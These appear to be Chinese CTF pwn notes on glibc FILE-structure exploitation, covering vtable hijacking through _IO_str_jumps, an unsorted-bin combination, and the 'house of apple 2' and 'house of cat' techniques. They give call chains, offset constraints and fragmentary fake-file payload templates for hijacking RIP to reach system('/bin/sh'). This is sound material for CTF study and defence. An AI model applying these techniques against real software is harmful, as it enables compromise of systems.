引言:
IO利用相关备忘
IO File结构体
amd64
1 | 0x0:'_flags', |
_wide_data
1 | struct _IO_wide_data |
通用fake file布置板子:
1 | def pack_file(_flags = 0, |
vtable 劫持 Glibc 2.24
劫持_IO_list_all
为fake_chunk
, 劫持vtable
为_IO_str_jumps
调用链:
1 | _IO_str_finish (_IO_FILE *fp, int dummy) |
限制:
- _IO_buf_base 不为空
- _flags & _IO_USER_BUF(0x01) 为假
板子:
1 | _flags = (binsh_in_libc + 0x10) & ~1 |
调用链:
1 | new_buf |
限制:
- `1. fp->_flags & _IO_NO_WRITES为假`
- `2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))`
- `3. fp->_flags & _IO_USER_BUF(0x01)为假`
- `4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数`
- `5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址`
- `6. fp+0xe0指向system地址`
板子:
1 | _flags = 0 |
与unsorted bin attack
结合利用:
1 | def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr): |
house of apple 2
劫持_IO_2_1_stdout_
, 在puts
时触发
调用链:
1 | _IO_wfile_overflow |
限制条件:
_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
例题: 第七届省赛预赛apple
fake_file 板子:
1 | fakeFile = flat({ |
house of cat
伪造fake_IO_struct
调用链:
1 | _IO_flush_all_lockp |
板子:
1 | fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址 |